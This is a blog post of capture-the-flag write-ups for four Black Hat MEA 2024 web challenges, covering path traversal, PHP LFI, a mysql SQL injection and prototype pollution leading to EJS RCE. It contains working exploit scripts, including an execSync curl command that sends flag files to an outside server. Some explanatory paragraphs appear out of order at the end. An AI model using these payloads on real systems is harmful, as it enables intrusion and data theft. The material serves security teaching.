Kiro Maged's Blog
Black Hat 2024 web write-ups
Black Hat 2024 web write-ups
  • Black Hat MEA 2024 Web write-ups
Powered by GitBook
On this page
  • Challenge : Watermelon easy 120 points
  • Challenge: Free Flag 110 points
  • Challenge: Notey Meduim 180 points
  • Challenge: Fastes Delivery Service Hard 270 points

Black Hat MEA 2024 Web write-ups

Last updated 8 months ago

Challenge : Watermelon easy 120 points

we have this Flask app, which is an api to store files and share files

from flask import Flask, request, jsonify, session, send_file
from functools import wraps
from flask_sqlalchemy import SQLAlchemy
import os, secrets
from werkzeug.utils import secure_filename



app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db' 
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SECRET_KEY'] = secrets.token_hex(20)
app.config['UPLOAD_FOLDER'] = 'files'


db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(120), nullable=False)

class File(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    filename = db.Column(db.String(255), nullable=False)
    filepath = db.Column(db.String(255), nullable=False)
    uploaded_at = db.Column(db.DateTime, nullable=False, default=db.func.current_timestamp())
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

    user = db.relationship('User', backref=db.backref('files', lazy=True))


def create_admin_user():
    admin_user = User.query.filter_by(username='admin').first()
    if not admin_user:
        admin_user = User(username='admin', password= secrets.token_hex(20))
        db.session.add(admin_user)
        db.session.commit()
        print("Admin user created.")
    else:
        print("Admin user already exists.")

with app.app_context():
    db.create_all()
    create_admin_user()

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session:
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function


def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function

@app.route('/')
def index():
    return 'Welcome to my file sharing API'

@app.post("/register")
def register():
    if not request.json or not "username" in request.json or not "password" in request.json:
        return jsonify({"Error": "Please fill all fields"}), 400
    
    username = request.json['username']
    password = request.json['password']

    if User.query.filter_by(username=username).first():
        return jsonify({"Error": "Username already exists"}), 409

    new_user = User(username=username, password=password)
    db.session.add(new_user)
    db.session.commit()

    return jsonify({"Message": "User registered successfully"}), 201

@app.post("/login")
def login():
    if not request.json or not "username" in request.json or not "password" in request.json:
        return jsonify({"Error": "Please fill all fields"}), 400
    
    username = request.json['username']
    password = request.json['password']

    user = User.query.filter_by(username=username, password=password).first()
    if not user:
        return jsonify({"Error": "Invalid username or password"}), 401
    
    session['user_id'] = user.id
    session['username'] = user.username
    return jsonify({"Message": "Login successful"}), 200

@app.get('/profile')
@login_required
def profile():
    return jsonify({"username": session['username'], "user_id": session['user_id']})

@app.get('/files')
@login_required
def list_files():
    user_id = session.get('user_id')
    files = File.query.filter_by(user_id=user_id).all()
    file_list = [{"id": file.id, "filename": file.filename, "filepath": file.filepath, "uploaded_at": file.uploaded_at} for file in files]
    return jsonify({"files": file_list}), 200


@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
    if 'file' not in request.files:
        return jsonify({"Error": "No file part"}), 400
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({"Error": "No selected file"}), 400
    
    user_id = session.get('user_id')
    if file:
        blocked = ["proc", "self", "environ", "env"]
        filename = file.filename

        if filename in blocked:
            return jsonify({"Error":"Why?"})

        user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
        os.makedirs(user_dir, exist_ok=True)
        

        file_path = os.path.join(user_dir, filename)

        file.save(f"{user_dir}/{secure_filename(filename)}")
        

        new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
        db.session.add(new_file)
        db.session.commit()
        
        return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201

    return jsonify({"Error": "File upload failed"}), 500

@app.route("/file/<int:file_id>", methods=["GET"])
@login_required  
def view_file(file_id):
    user_id = session.get('user_id')
    file = File.query.filter_by(id=file_id, user_id=user_id).first()

    if file is None:
        return jsonify({"Error": "File not found or unauthorized access"}), 404
    
    try:
        return send_file(file.filepath, as_attachment=True)
    except Exception as e:
        return jsonify({"Error": str(e)}), 500


@app.get('/admin')
@admin_required
def admin():
    return os.getenv("FLAG","BHFlagY{testing_flag}")



if __name__ == '__main__':
    app.run(host='0.0.0.0')

it uses from werkzeug.utils import secure_filename in the upload Route to secure against lfi while storing files since we can not overwrite any file on the system

but anyway secure_filename is used directly in the function and the file path can still be malformed when it is used in the next route , so if we uploaded a file with name `../../../etc/passwd` we can read it's content

@app.route("/file/<int:file_id>", methods=["GET"])
@login_required  
def view_file(file_id):
    user_id = session.get('user_id')
    file = File.query.filter_by(id=file_id, user_id=user_id).first()

    if file is None:
        return jsonify({"Error": "File not found or unauthorized access"}), 404
    
    try:
        return send_file(file.filepath, as_attachment=True)
    except Exception as e:
        return jsonify({"Error": str(e)}), 500

let's try

nice now we want to get the admin creds. remember admin's pass is created using this function

def create_admin_user():
    admin_user = User.query.filter_by(username='admin').first()
    if not admin_user:
        admin_user = User(username='admin', password= secrets.token_hex(20))
        db.session.add(admin_user)
        db.session.commit()
        print("Admin user created.")
    else:
        print("Admin user already exists.")pyth

and the db is sqlite app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db' so we can read it and get admin's pass. from docker instance it got the path which is /app/instance/db.db

nice we got the admin's pass and now login with it and get the flag

Challenge: Free Flag 110 points

we have a php app which is vuln to lfi from the first sight but it have one challenge that the start of the file must be with <?php or <html .

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Free Flag</title>
</head>
<body>
    
<?php


function isRateLimited($limitTime = 1) {
    $ipAddress=$_SERVER['REMOTE_ADDR'];
    $filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
    $lastRequestTime = @file_get_contents($filename);
    
    if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
        return true;
    }

    file_put_contents($filename, time());
    echo $filename;
    return false;
}


    if(isset($_POST['file']))
    {
        if(isRateLimited())
        {
            die("Limited 1 req per second");
        }
        $file = $_POST['file'];
        if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
        {
           echo 'noo' ;
        }
        else
        {
            echo file_get_contents($file);
        }
    }

?>
</body>
</html>

we could read /etc/passwd, using the same way we can read the flag

Challenge: Notey Meduim 180 points

we have a NodeJs app that is used to create notes and our goal is to read admin's note

index.js

const express = require('express');
const bodyParser = require('body-parser');
const crypto=require('crypto');
var session = require('express-session');
const db = require('./database');
const middleware = require('./middlewares');

const app = express();


app.use(bodyParser.urlencoded({
extended: true
}))

app.use(session({
    secret: crypto.randomBytes(32).toString("hex"),
    resave: true,
    saveUninitialized: true
}));



app.get('/',(req,res)=>{
    res.send("Welcome")
})

app.get('/profile', middleware.auth, (req, res) => {
    const username = req.session.username;

    db.getNotesByUsername(username, (err, notes) => {
    if (err) {
        return res.status(500).json({ error: 'Internal Server Error' });
    }
    res.json(notes);
    });
});

app.get('/viewNote', middleware.auth, (req, res) => {
    const { note_id,note_secret } = req.query;

    if (note_id && note_secret){
        db.getNoteById(note_id, note_secret, (err, notes) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
            return res.json(notes);
        });
    }
    else
    {
        return res.status(400).json({"Error":"Missing required data"});
    }
});


app.post('/addNote', middleware.auth, middleware.addNote, (req, res) => {
    const { content, note_secret } = req.body;
        db.addNote(req.session.username, content, note_secret, (err, results) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
    
            if (results) {
            return res.json({ message: 'Note added successful' });
            } else {
            return res.status(409).json({ error: 'Something went wrong' });
            }
        });
});


app.post('/login', middleware.login, (req, res) => {
const { username, password } = req.body;

    db.login_user(username, password, (err, results) => {
        if (err) {
        console.log(err);
        return res.status(500).json({ error: 'Internal Server Error' });
        }

        if (results.length > 0) {
        req.session.username = username;
        return res.json({ message: 'Login successful' });
        } else {
        return res.status(401).json({ error: 'Invalid username or password' });
        }
    });
});

app.post('/register', middleware.login, (req, res) => {
const { username, password } = req.body;

    db.register_user(username, password, (err, results) => {
        if (err) {
        return res.status(500).json({ error: 'Internal Server Error' });
        }

        if (results) {
        return res.json({ message: 'Registration successful' });
        } else {
        return res.status(409).json({ error: 'Username already exists' });
        }
    });
});

db.wait().then(() => {
    db.insertAdminUserOnce((err, results) => {
        if (err) {
            console.error('Error:', err);
        } else {
            db.insertAdminNoteOnce((err, results) => {
                if (err) {
                    console.error('Error:', err);
                } else {
                    app.listen(3000, () => {
                        console.log('Server started on http://localhost:3000');
                    });
                }
            });
        }
    });
});

middlewares.js

const auth = (req, res, next) => {
    ssn = req.session
    if (ssn.username) {
        return next();
    } else {
        return res.status(401).send('Authentication required.');
    }
};


const login = (req,res,next) =>{
    const {username,password} = req.body;
    if ( !username || ! password )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof username !== "string" || typeof password !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    next();
}

const addNote = (req,res,next) =>{
    const { content, note_secret } = req.body;
    if ( !content || ! note_secret )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof content !== "string" || typeof note_secret !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    else if( !(content.length > 0 && content.length < 255) ||  !( note_secret.length >=8 && note_secret.length < 255) )
    {
        return res.status(400).send("Wrong data length");
    }
    next();
}

module.exports ={
    auth, login, addNote
};

database.js

// that is not all but what we need
const mysql = require('mysql');

function getNoteById(noteId, secret, callback) {
  const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
  console.log(noteId,secret);
  pool.query(query, [noteId,secret], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

also this challnge had jail and set the memory to 0, so we need to write a script to automate the exploit

import requests

# Create a Session object
session = requests.Session()

#BHFlagY{1731788be1c842b4fac021e80e20e459}
#url = 'http://a25d1076f00f22bc71975.playat.flagyard.com/' this was the challenge url
url = 'http://127.0.0.1:5000/'

def register(url):
    # The URL where the Flask application is running
    url = url+ "register"

    # The data to be sent to the server
    data = {"username": "test2", "password": "test2"}

    # Perform the POST request
    response = session.post(url, data=data)

    # Print the response text and cookies
    print(response.text)
    print(response.cookies.get('connect.sid'))


def login(url):
        # The URL where the Flask application is running
    url = url+ "login"

    # The data to be sent to the server
    data = {"username": "test2", "password": "test2"}

    # Perform the POST request
    response = session.post(url, data=data)

    # Print the response text and cookies
    print(response.text)
    print(response.cookies.get('connect.sid'))

def profile(url):
    # URL for a different request where you want to keep the cookies
    url = url+ "profile"

    # Perform another request using the same session
    response = session.get(url)

    # Print the response text
    print(response.text)
    print(response.request._cookies.get('connect.sid'))


def viewNote(url):
    # # URL endpoint for the request
    url = url + "viewNote"
    
    query = {"note_id": 66, "note_secret[username]": "admin"}
    
    # Perform the GET request with query parameters
    response = session.get(url=url, params=query)
    
    # Print the response text
    print(response.text)
    
    # Print the cookies sent with the response (if any)
    print(response.cookies.get('connect.sid'))

#register(url)

while True:
    login(url)
    viewNote(url)

Challenge: Fastes Delivery Service Hard 270 points

this nodejs app is vuln to prototype pollution in the address `address` function and we need to get RCE from ejs which is vuln to this CVE-2024-33883

{
    "name": "food-delivery-service",
    "version": "1.0.0",
    "description": "",
    "main": "app.js",
    "scripts": {
      "start": "node app.js"
    },
    "dependencies": {
      "express": "^4.18.2",
      "body-parser": "^1.20.1",
      "ejs":"^3.1.9",
      "express-session":"^1.18.0"
    }
  }
// this is not all but what we only need
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const crypto = require("crypto");

const app = express();
const PORT = 3000;

// In-memory data storage
let users = {};
let orders = {};
let addresses = {};

// Inserting admin user
users['admin'] = { password: crypto.randomBytes(16).toString('hex'), orders: [], address: '' };

// Middleware
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.use(session({
    secret: crypto.randomBytes(16).toString('hex'),
    resave: false,
    saveUninitialized: true
}));

// Routes
app.get('/', (req, res) => {
    res.render('index', { user: req.session.user });
});
app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    const user = users[username];

    if (user && user.password === password) {
        req.session.user = { username };
        res.redirect('/');
    } else {
        res.send('Invalid credentials. <a href="/login">Try again</a>.');
    }
});

app.get('/logout', (req, res) => {
    req.session.destroy();
    res.redirect('/');
});

app.get('/register', (req, res) => {
    res.render('register');
});

app.post('/register', (req, res) => {
    const { username, password } = req.body;

    if (Object.prototype.hasOwnProperty.call(users, username)) {
        res.send('Username already exists. <a href="/register">Try a different username</a>.');
    } else {
        users[username] = { password, orders: [], address: '' };
        req.session.user = { username };
        res.redirect(`/address`);
    }
});

app.get('/address', (req, res) => {
    const { user } = req.session;
    if (user && users[user.username]) {
        res.render('address', { username: user.username });
    } else {
        res.redirect('/register');
    }
});

app.post('/address', (req, res) => {
    const { user } = req.session;
    const { addressId, Fulladdress } = req.body;

    if (user && users[user.username]) {
        addresses[user.username][addressId] = Fulladdress;
        users[user.username].address = addressId;
        res.redirect('/login');
    } else {
        res.redirect('/register');
    }
});



app.get('/order', (req, res) => {
    if (req.session.user) {
        res.render('order');
    } else {
        res.redirect('/login');
    }
});

app.post('/order', (req, res) => {
    if (req.session.user) {
        const { item, quantity } = req.body;
        const orderId = `order-${Date.now()}`;
        orders[orderId] = { item, quantity, username: req.session.user.username };
        users[req.session.user.username].orders.push(orderId);
        res.redirect('/');
    } else {
        res.redirect('/login');
    }
});

app.get('/admin', (req, res) => {
    if (req.session.user && req.session.user.username === 'admin') {
        const allOrders = Object.keys(orders).map(orderId => ({
            ...orders[orderId],
            orderId
        }));
        res.render('admin', { orders: allOrders });
    } else {
        res.redirect('/');
    }
});


// Start server
app.listen(PORT, '0.0.0.0', () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});

first we need to polluote the addresses object , if we used the same logic in this script we can polluote the Object and control crtical values in Nodejs runtime

let users = {};
let orders = {};
let addresses = {};

username = '__proto__';
addressId = 'foo';
Fulladdress = 'bar';

users[username] = { 'password': 'aaaa', orders: [], address: '' };
addresses[username][addressId] = Fulladdress;
users[username].address = addressId;
console.log(Object.foo)
// result: bar
import requests


session = requests.Session()

url='http://localhost:3000/'
#url='http://a61a2c36e9a8e2740d1e2.playat.flagyard.com/' this was the challenge url 
def register(url):
    url= url + 'register'
    data= {"username":"__proto__", "password": "asas"}
    res = session.post(url, data=data, allow_redirects=False)
    print(res.text)


def address1(url):
    url= url + 'address'
    data = {"username":"__proto__","addressId":"client","Fulladdress":"1"}
    res = session.post(url, data=data,allow_redirects=False)
    print(res.text)




def address2(url):
    url= url + 'address'
    data = {"username":"__proto__","addressId":"escapeFunction","Fulladdress":"""process.mainModule.require('child_process').execSync('curl -X POST -d "$(cat /tmp/flag*)" https://myserver');"""}
    res = session.post(url, data=data, allow_redirects=False)
    print(res.text)  



def index(url):
    res = session.get(url)
    print(res.text)

register(url)
address1(url)
address2(url)
index(url)

we can use this tool which we can use to emped the <?php part, and change the last part to/srv/flag.txt to get the flag

first thing is the app is using require('mysql'); and prepared statments (which is not we will see) to secure agains sql injection from and we can see that it is vuln to sql injection and this is not prepared statments so something like note_id=66&note_secret[username]=admin in the getNotebyID function can lead to sql injection

next we can use this poc for which is baed on prototype pollution. again the challenge is jailed and we need to make a script

https://github.com/synacktiv/php_filter_chain_generator
https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values
https://youtu.be/mlRvMiTx3-I?si=OQwuhLy3-UGy5L_H
CVE-2024-33883